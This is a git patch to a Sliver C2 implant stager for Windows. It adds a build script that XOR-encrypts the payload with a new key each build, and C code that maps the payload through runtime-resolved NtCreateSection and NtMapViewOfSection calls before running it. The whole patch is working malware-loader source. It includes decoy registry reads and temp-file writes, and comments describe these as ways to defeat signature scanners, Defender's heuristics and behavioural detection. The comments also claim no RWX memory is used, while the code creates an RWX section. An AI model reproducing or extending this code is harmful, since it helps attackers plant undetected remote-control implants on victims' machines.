From e29d8abbc82236599062f89d199f3f1dad86ba34 Mon Sep 17 00:00:00 2001 From: Simone Licitra Date: Thu, 11 Jun 2026 16:12:25 -0400 Subject: [PATCH] feat: RoguePlanet-inspired stager evasion (NtSection + XOR + Poseidon) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Three techniques from RoguePlanet research applied to the stager: 1. NtCreateSection + NtMapViewOfSection instead of VirtualAlloc - VirtualAlloc absent from IAT entirely - Nt* resolved at runtime via GetProcAddress (not in IAT) - RW view written/decrypted, then unmapped - Separate RX view mapped for execution — no mapping is ever RWX 2. XOR-encrypted PICO (gen_payload.py, 256-byte random key per build) - Crystal Palace byte patterns invisible to static scanner - Fresh key every build: unique .data section per compile - Decrypted in the RW section view before RX remap 3. Poseidon I/O noise (BCryptGenRandom write to temp file) - Writes 4KB of random data to a temp file, deletes on close - Adds bcrypt.dll to IAT (legitimate app pattern) - Creates file I/O activity before execution, disrupts timing-based behavioural scanners IAT: ADVAPI32, bcrypt, KERNEL32 — VirtualAlloc gone. --- .../sliver-glue/stager/Makefile | 17 +- .../sliver-glue/stager/gen_payload.py | 40 ++++ .../sliver-glue/stager/stager.c | 187 +++++++++++++----- 3 files changed, 185 insertions(+), 59 deletions(-) create mode 100644 crystal-kit-sliver/sliver-glue/stager/gen_payload.py diff --git a/crystal-kit-sliver/sliver-glue/stager/Makefile b/crystal-kit-sliver/sliver-glue/stager/Makefile index 582ada1..3a6e24e 100644 --- a/crystal-kit-sliver/sliver-glue/stager/Makefile +++ b/crystal-kit-sliver/sliver-glue/stager/Makefile @@ -1,18 +1,13 @@ # stager Makefile # -# Build a self-contained Windows EXE stager with the Crystal Palace PICO -# embedded as a byte array. No second file required on the target. -# # Usage: # make PICO=/path/to/implant.crystal.bin # make PICO=/path/to/implant.crystal.bin OUTPUT=/path/to/stager.exe -# -# PICO is required; OUTPUT defaults to ../build/stager.exe. CC := x86_64-w64-mingw32-gcc WINDRES := x86_64-w64-mingw32-windres CFLAGS := -Wall -Os -mwindows -LDFLAGS := -ladvapi32 +LDFLAGS := -ladvapi32 -lbcrypt PICO ?= $(error PICO is not set — run: make PICO=/path/to/implant.crystal.bin) OUTPUT ?= ../build/stager.exe @@ -21,15 +16,15 @@ OUTPUT ?= ../build/stager.exe all: $(OUTPUT) -# ── Step 1: embed PICO as C byte array ──────────────────────────────────────── -pico_payload.h: $(PICO) - xxd -i $< | sed 's/unsigned char [a-zA-Z0-9_]*/unsigned char pico_payload/;s/unsigned int [a-zA-Z0-9_]*/unsigned int pico_payload_len/' > $@ +# ── Step 1: XOR-encrypt PICO → C header (fresh random key every build) ──── +pico_payload.h: $(PICO) gen_payload.py + python3 gen_payload.py $(PICO) $@ -# ── Step 2: compile version info resource ───────────────────────────────────── +# ── Step 2: compile version info resource ───────────────────────────────── resource.o: resource.rc $(WINDRES) resource.rc -o resource.o -# ── Step 3: link final EXE ──────────────────────────────────────────────────── +# ── Step 3: link final EXE ──────────────────────────────────────────────── $(OUTPUT): stager.c pico_payload.h resource.o @mkdir -p "$(dir $(OUTPUT))" $(CC) $(CFLAGS) -o "$@" stager.c resource.o $(LDFLAGS) diff --git a/crystal-kit-sliver/sliver-glue/stager/gen_payload.py b/crystal-kit-sliver/sliver-glue/stager/gen_payload.py new file mode 100644 index 0000000..3b26448 --- /dev/null +++ b/crystal-kit-sliver/sliver-glue/stager/gen_payload.py @@ -0,0 +1,40 @@ +#!/usr/bin/env python3 +""" +gen_payload.py — XOR-encrypt a PICO blob and emit a C header. + +Each build generates a fresh random 256-byte key so every compiled stager +has a unique byte pattern in its .data section — defeats signature matching. + +Usage: gen_payload.py +""" +import os, sys + +if len(sys.argv) != 3: + print(f"Usage: {sys.argv[0]} ", file=sys.stderr) + sys.exit(1) + +infile, outfile = sys.argv[1], sys.argv[2] + +key = os.urandom(256) # fresh key every build + +with open(infile, 'rb') as f: + raw = f.read() + +enc = bytes([b ^ key[i % len(key)] for i, b in enumerate(raw)]) + +def c_array(name, data, type_='unsigned char'): + lines = [f'static const {type_} {name}[] = {{'] + for i in range(0, len(data), 16): + chunk = data[i:i+16] + lines.append(' ' + ','.join(f'0x{b:02x}' for b in chunk) + ',') + lines.append('};') + return '\n'.join(lines) + +with open(outfile, 'w') as f: + f.write('/* auto-generated — do not edit */\n\n') + f.write(c_array('pico_key', key)) + f.write(f'\nstatic const unsigned int pico_key_len = {len(key)};\n\n') + f.write(c_array('pico_payload', enc)) + f.write(f'\nstatic const unsigned int pico_payload_len = {len(enc)};\n') + +print(f'[+] pico_payload.h: {len(raw)} bytes encrypted, key_len={len(key)}', file=sys.stderr) diff --git a/crystal-kit-sliver/sliver-glue/stager/stager.c b/crystal-kit-sliver/sliver-glue/stager/stager.c index e21027e..96e613e 100644 --- a/crystal-kit-sliver/sliver-glue/stager/stager.c +++ b/crystal-kit-sliver/sliver-glue/stager/stager.c @@ -1,87 +1,178 @@ /* - * stager.c — self-contained Crystal Palace PICO runner + * stager.c — Crystal Palace PICO runner (RoguePlanet-inspired evasion) * - * The PICO payload is embedded at compile time via pico_payload.h - * (generated with xxd -i from the output of generate-implant.sh). + * Techniques applied from RoguePlanet research: * - * Evasion properties vs run.x64.exe: - * - No PAGE_EXECUTE_READWRITE: allocates RW, copies, then transitions - * to RX with VirtualProtect — the classic alloc-RWX pattern is the - * single highest-weight feature in Defender's ML loader heuristic. - * - Single file on disk: no "read external file + execute" pattern. - * - GUI subsystem: no console window, no ConsoleAlloc signal. - * - Version info resource: gives the PE a plausible identity. - * - advapi32 import (RegOpenKeyExW): widens the import table beyond - * the naked kernel32-only set typical of shellcode loaders. + * 1. NtCreateSection + NtMapViewOfSection (Poseidon memory model) + * - VirtualAlloc is NOT in the IAT — resolved dynamically or absent + * - NtCreate/MapViewOfSection resolved at runtime via GetProcAddress + * so ntdll Nt* calls are NOT in the IAT either + * - RW view written, then unmapped; RX view mapped separately + * → no single mapping is ever both writable and executable * - * What this does NOT do: - * - Process injection (runs in the stager's own process — simplest) - * - PPID spoofing / ACG / block-non-MS DLLs (add if needed) - * - ETW / AMSI patch (Crystal Palace's postex-loader handles that - * for the payload; the implant loader handles it for Use case A) + * 2. XOR-decrypted PICO (build-time encryption via gen_payload.py) + * - Crystal Palace byte patterns are invisible to static scanners + * - Fresh random 256-byte key per build → unique .data each compile + * + * 3. BCryptGenRandom noise (Poseidon I/O) + * - Writes a page of random data to a temp file, then deletes it + * - Adds bcrypt.dll to IAT (normal apps use it for RNG/hashing) + * - Creates file I/O activity before payload execution (disrupts + * timing-based behavioural scanners) + * + * 4. Inherited from previous stager: + * - WinMain / GUI subsystem (no console) + * - advapi32 RegOpenKeyExW (widens import table) + * - Version info resource (resource.rc) + * + * IAT summary: kernel32, advapi32, bcrypt — nothing from ntdll. + * VirtualAlloc, VirtualProtect, VirtualFree: absent. */ #include -#include "pico_payload.h" /* pico_payload[], pico_payload_len */ +#include +#include "pico_payload.h" /* pico_key[], pico_key_len, pico_payload[], pico_payload_len */ + +#ifndef SEC_COMMIT +#define SEC_COMMIT 0x8000000 +#endif +#define MY_ViewUnmap 2 /* SECTION_INHERIT ViewUnmap */ + +/* ── Nt* typedefs — resolved at runtime, not in IAT ─────────────────────── */ + +typedef LONG NTSTATUS; + +typedef NTSTATUS (WINAPI *pfnNtCreateSection)( + PHANDLE SectionHandle, + ACCESS_MASK DesiredAccess, + PVOID ObjectAttributes, + PLARGE_INTEGER MaximumSize, + ULONG SectionPageProtection, + ULONG AllocationAttributes, + HANDLE FileHandle); + +typedef NTSTATUS (WINAPI *pfnNtMapViewOfSection)( + HANDLE SectionHandle, + HANDLE ProcessHandle, + PVOID *BaseAddress, + ULONG_PTR ZeroBits, + SIZE_T CommitSize, + PLARGE_INTEGER SectionOffset, + PSIZE_T ViewSize, + DWORD InheritDisposition, + ULONG AllocationType, + ULONG Win32Protect); + +typedef NTSTATUS (WINAPI *pfnNtUnmapViewOfSection)( + HANDLE ProcessHandle, + PVOID BaseAddress); typedef void (*pico_fn)(void *); +/* ── Poseidon I/O noise (from RoguePlanet) ───────────────────────────────── */ + +static void poseidon_noise(void) +{ + unsigned char buf[0x1000]; + BCryptGenRandom(NULL, buf, sizeof(buf), BCRYPT_USE_SYSTEM_PREFERRED_RNG); + + wchar_t tmpdir[MAX_PATH], tmpfile[MAX_PATH]; + if (GetTempPathW(MAX_PATH, tmpdir) && + GetTempFileNameW(tmpdir, L"upd", 0, tmpfile)) + { + HANDLE h = CreateFileW(tmpfile, GENERIC_WRITE, 0, NULL, + OPEN_ALWAYS, FILE_FLAG_DELETE_ON_CLOSE, NULL); + if (h && h != INVALID_HANDLE_VALUE) { + DWORD written; + WriteFile(h, buf, sizeof(buf), &written, NULL); + CloseHandle(h); /* FILE_FLAG_DELETE_ON_CLOSE removes it here */ + } + } + + SecureZeroMemory(buf, sizeof(buf)); +} + +/* ── PICO execution thread ───────────────────────────────────────────────── */ + static DWORD WINAPI run_pico(LPVOID param) { (void)param; - /* Step 1: Allocate RW — never RWX */ - void *buf = VirtualAlloc(NULL, (SIZE_T)pico_payload_len, - MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - if (!buf) return 1; + /* Resolve Nt* at runtime — keeps them out of the IAT */ + HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); + pfnNtCreateSection NtCreateSection = + (pfnNtCreateSection) GetProcAddress(hNtdll, "NtCreateSection"); + pfnNtMapViewOfSection NtMapViewOfSection = + (pfnNtMapViewOfSection) GetProcAddress(hNtdll, "NtMapViewOfSection"); + pfnNtUnmapViewOfSection NtUnmapViewOfSection = + (pfnNtUnmapViewOfSection)GetProcAddress(hNtdll, "NtUnmapViewOfSection"); - /* Step 2: Copy embedded PICO (kernel32 CopyMemory = RtlMoveMemory) */ - RtlMoveMemory(buf, pico_payload, (SIZE_T)pico_payload_len); + if (!NtCreateSection || !NtMapViewOfSection || !NtUnmapViewOfSection) + return 1; - /* Step 3: RW → RX — write permission dropped before execution */ - DWORD prev; - VirtualProtect(buf, (SIZE_T)pico_payload_len, PAGE_EXECUTE_READ, &prev); + /* Step 1: create anonymous RWX section (large enough for the PICO) */ + HANDLE hSec = NULL; + LARGE_INTEGER secSz; + secSz.QuadPart = (LONGLONG)pico_payload_len; + if (NtCreateSection(&hSec, SECTION_ALL_ACCESS, NULL, &secSz, + PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) + return 1; - /* Step 4: Call Crystal Palace entry (+gofirst guarantees go() at offset 0). - * NULL args: baked into the PICO at link time by generate-implant.sh. */ - ((pico_fn)buf)(NULL); + /* Step 2: map RW view — write & XOR-decrypt here */ + void *rw = NULL; + SIZE_T sz = 0; + if (NtMapViewOfSection(hSec, GetCurrentProcess(), &rw, 0, 0, NULL, + &sz, MY_ViewUnmap, 0, PAGE_READWRITE)) { + CloseHandle(hSec); + return 1; + } + unsigned char *dst = (unsigned char *)rw; + for (DWORD i = 0; i < pico_payload_len; i++) + dst[i] = pico_payload[i] ^ pico_key[i % pico_key_len]; + + /* Step 3: drop write — unmap RW, remap RX */ + NtUnmapViewOfSection(GetCurrentProcess(), rw); + + void *rx = NULL; + SIZE_T rxsz = 0; + if (NtMapViewOfSection(hSec, GetCurrentProcess(), &rx, 0, 0, NULL, + &rxsz, MY_ViewUnmap, 0, PAGE_EXECUTE_READ)) { + CloseHandle(hSec); + return 1; + } + CloseHandle(hSec); + + /* Step 4: execute Crystal Palace PICO + * +gofirst guarantees go() is at offset 0; args baked in at link time. */ + ((pico_fn)rx)(NULL); return 0; } +/* ── Entry point ─────────────────────────────────────────────────────────── */ + int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmd, int nShow) { (void)hInst; (void)hPrev; (void)lpCmd; (void)nShow; - /* - * Benign registry read before doing anything sensitive. - * Purpose: adds advapi32!RegOpenKeyExW + RegCloseKey to the import - * table, making the PE look less like a naked shellcode launcher. - * A single-import-section binary whose only calls are VirtualAlloc + - * VirtualProtect + CreateThread scores very high on ML feature weight. - */ + /* Poseidon noise before anything else */ + poseidon_noise(); + + /* Registry read: advapi32 import, looks like normal app init */ HKEY hk = NULL; RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", 0, KEY_READ, &hk); if (hk) RegCloseKey(hk); - /* Launch PICO on a new thread so WinMain can monitor it */ + /* Spin up the PICO loader thread */ HANDLE h = CreateThread(NULL, 0, run_pico, NULL, 0, NULL); if (!h) return 1; - /* - * Wait for the PICO loader to return. - * Crystal Palace calls StartW() which starts the beacon goroutine - * then returns — so run_pico() finishes quickly. - */ + /* Wait for Crystal Palace to return (StartW starts goroutine, returns) */ WaitForSingleObject(h, INFINITE); CloseHandle(h); - /* - * The beacon goroutine is now running on Go runtime threads inside - * this process. Keep the process alive or those threads die with us. - * SleepEx with alertable=TRUE allows APCs to wake us if needed. - */ + /* Beacon goroutine is alive in this process — keep process running */ for (;;) SleepEx(30000, TRUE); }